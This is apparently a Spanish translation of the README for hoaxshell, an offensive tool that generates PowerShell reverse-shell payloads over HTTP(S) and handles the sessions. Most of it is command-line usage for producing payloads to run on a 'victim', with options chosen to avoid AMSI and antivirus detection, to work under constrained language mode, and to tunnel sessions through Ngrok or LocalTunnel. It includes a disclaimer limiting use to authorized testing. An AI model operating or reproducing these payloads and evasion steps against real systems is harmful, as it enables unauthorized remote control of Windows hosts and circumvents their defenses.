
Un generador y manejador de payloads de reverse shell para Windows que abusa del protocolo http(s) para establecer una reverse shell tipo beacon.
⚠️ A partir del 18-10-2022, hoaxshell es detectado por AMSI (malware-encyclopedia). Necesitas ofuscar el payload generado para usarlo. Mira este video sobre cómo ofuscar manualmente y eludir MS Defender:
hoaxshell es un generador y manejador de reverse shells para Windows que abusa del protocolo http(s) para establecer una reverse shell tipo beacon, basada en el siguiente concepto:

Este concepto de c2 (que podría implementarse usando otros protocolos que no sean http o ejecutables preinstalados) puede usarse para establecer sesiones que fomenten la ilusión de tener una shell, pero están lejos de ser un pty real.
HoaxShell funcionaba bien contra software antivirus (consulta tabla de PoCs de bypass de AV para más información). Aunque ahora se detecta generalmente, es fácil ofuscar los payload(s) generados usando herramientas automatizadas o manualmente.
Descargo de responsabilidad: Hecho puramente para pruebas y fines educativos. NO ejecutes los payloads generados por esta herramienta contra hosts para los que no tengas permiso explícito y autorización para probar. Eres responsable de cualquier problema que puedas causar al usar esta herramienta.
[2022-10-11] Reciente e increíble, hecho por John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Demo del lanzamiento original, hecho por mí -> youtube.com/watch?v=SEufgD5UxdU

Encuentra más capturas aquí.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Importante: Como medio para evitar la detección, hoaxshell genera automáticamente valores aleatorios para el id de sesión, rutas URL y el nombre de un encabezado HTTP personalizado utilizado en el proceso, cada vez que se inicia el script. El payload generado solo funcionará para la instancia para la que fue generado. Usa la opción -g para evitar este comportamiento y restablecer una sesión activa o reutilizar un payload generado anteriormente con una nueva instancia de hoaxshell.
Cuando ejecutas hoaxshell, generará su propio payload de PowerShell para que lo copies e inyectes en la víctima. Por defecto, el payload está codificado en base64 para mayor comodidad. Si necesitas el payload en crudo, ejecuta el comando "rawpayload" en el prompt o inicia hoaxshell con el argumento -r. Después de que el payload se haya ejecutado en la víctima, podrás ejecutar comandos de PowerShell contra ella.
Invoke-Expression (por defecto)sudo python3 hoaxshell.py -s <tu_ip>
Usa -x para proporcionar un nombre de archivo .ps1 (ruta absoluta) que se creará en la máquina víctima. Debes verificar el payload en crudo antes de ejecutarlo, asegúrate de que la ruta proporcionada sea sólida.
sudo python3 hoaxshell.py -s <tu_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell utiliza un encabezado HTTP para transferir información de la sesión de la shell. Por defecto, al encabezado se le asigna un nombre aleatorio que puede ser detectado por reglas AV basadas en regex. Usa -H para proporcionar un nombre de encabezado HTTP estándar o personalizado para evitar la detección.
sudo python3 hoaxshell.py -s <tu_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <tu_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Este payload en particular es bastante sospechoso, ya que comienza con un bloque adicional de código que indica a PowerShell que omita las comprobaciones de certificados SSL, lo que lo hace sospechoso y fácil de detectar, además de significativamente más largo. No recomendado.
# Generar certificado autofirmado:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pasar cert.pem y key.pem como argumentos:
sudo python3 hoaxshell.py -s <tu_ip> -c </ruta/a/cert.pem> -k <ruta/a/key.pem>
Si posees un dominio, usa esta opción para generar un payload https más corto y menos detectable proporcionando tu DN con -s junto con un certificado de confianza (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <tu.dominio.com> -t -c </ruta/a/cert.pem> -k <ruta/a/key.pem>
En caso de que cierres tu terminal accidentalmente, tengas un corte de energía o algo similar, puedes iniciar hoaxshell en modo de recuperación de sesión, intentará restablecer una sesión, siempre que el payload aún se esté ejecutando en la máquina víctima.
sudo python3 hoaxshell.py -s <tu_ip> -g
Importante: Asegúrate de iniciar hoaxshell con la misma configuración que la sesión que intentas restaurar (http/https, puerto, etc.).
Usa cualquiera de las variaciones de payload con la opción -cm (--constraint-mode) para generar un payload que funcione incluso si la víctima está configurada para ejecutar PS en modo de lenguaje restringido. Al usar esta opción, sacrificas un poco de precisión en la decodificación del stdout de tu reverse shell.
sudo python3 hoaxshell.py -s <tu_ip> -cm

Utiliza programas de túneles Ngrok o LocalTunnel para obtener sesiones a través de túneles seguros, superando problemas como no tener una dirección IP estática o que tu ISP prohíba el reenvío de puertos.
Usa -ng o --ngrok para el servidor Ngrok
sudo python3 hoaxshell.py -ng
Usa -lt o --localtunnel para el servidor LocalTunnel
sudo python3 hoaxshell.py -lt
La shell se colgará si ejecutas un comando que inicia una sesión interactiva. Ejemplo:
# Este comando se ejecutará correctamente y no tendrás problemas:
> powershell echo 'Esto es una prueba'